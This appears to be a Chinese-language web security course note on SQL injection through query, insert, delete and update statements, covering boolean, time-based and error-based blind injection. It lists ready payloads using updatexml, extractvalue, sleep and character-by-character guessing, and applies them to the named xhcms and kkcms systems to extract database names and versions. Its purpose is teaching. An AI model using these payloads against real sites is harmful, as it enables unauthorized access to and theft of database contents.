目录

第56天Web攻防-SQL注入增删改查盲注延时布尔报错有无回显错误处理审计复盘

目录

第56天:Web攻防-SQL注入&增删改查&盲注&延时&布尔&报错&有无回显&错误处理&审计复盘

#知识点

1、Web攻防-SQL注入-操作方法&增删改查

2、Web攻防-SQL注入-布尔&延时&报错&盲注

一、增删改查

1、功能:数据查询

查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等

增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等

删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等

修改:UPDATE news SET id=$id

二、布尔&报错&延迟

盲注

就是在注入过程中,获取的

数据不能回显

至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入union select不行的情况

https://i-blog.csdnimg.cn/direct/d635ced9300d4d77bc75bede3c6ba08a.png

我们可以知道盲注分为以下三类:

1、基于

布尔的SQL盲注

-逻辑判断

regexp,like,ascii,left,ord,mid

布尔:

and length(database())=7;

and left(database(),1)=‘p’;

and left(database(),2)=‘pi’;

and substr(database(),1,1)=‘p’;

and substr(database(),2,1)=‘i’;

and ord(left(database(),1))=112;

2、基于

时间的SQL盲注

-延时判断

if,sleep

延时:

and sleep(1);

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

3、基于

报错的SQL盲注

-报错回显

floor,updatexml,extractvalue

报错:

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))#

参考:重要

like ‘ro%’ #判断ro或ro…是否成立

regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等

if(条件,5,0) #条件成立 返回5 反之 返回0

sleep(5) #SQL语句延时执行5秒

mid(a,b,c) #从位置b开始,截取a字符串的c位

substr(a,b,c) #从位置b开始,截取字符串a的c长度

left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(database())=8 #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

4、三种盲注方式需要满足的条件

①基于延时注入:都不需要

or if(1=1,sleep(5),0)#

没报错没输出->延时注入

x’ or if(1=1,sleep(5),0)#

x’ or if((select database())=‘news_management’,sleep(1),sleep(0))#

②基于布尔注入

有数据库执行的结果有输出

,为判断标准条件

or length(database())=6#

select有输出和insert没输出->布尔注入

x’ or length(database())=15#

③基于报错注入

:有数据库报错处理判断标准条件

(即容错处理

or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

select没报错和insert有报错->报错注入

x’ or updatexml(1,concat(0x7e,(version())),0) or ‘#

https://i-blog.csdnimg.cn/direct/563922df1a624cdd95258cdaea94411c.png

参考:

https://i-blog.csdnimg.cn/direct/c4910404d47a46889330adf816840593.png

https://i-blog.csdnimg.cn/direct/2925acf157e246f0bfb4807a9a1f8f69.png

三、实际案例:报错&延时

1、

xhcms系统

-insert报错

’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

https://i-blog.csdnimg.cn/direct/7b171866a7f242e4a9d8d7d53152a32f.png

https://i-blog.csdnimg.cn/direct/f7e0a5b8aa9f4a15bee618ca5f045bc0.png

https://i-blog.csdnimg.cn/direct/ac970065a85045659a3a26c87007db0f.png

2、

kkcms系统

-delete延时

or if(1=1,sleep(5),0)

or length(database())=5

or if(ord(left(database(),1))=107,sleep(1),0) ->判断数据库第一位ascii码是否等于107

or if(ord(substr(database(),2,1))=107,sleep(1),0)->判断数据库第二位ascii码是否等于107

https://i-blog.csdnimg.cn/direct/332ddf5aa69e46aeb50c7c0124a1a7e9.png

https://i-blog.csdnimg.cn/direct/ec13dd4d7b314ad48b9c034244269033.png

3、学员学就用:

JSON注入文档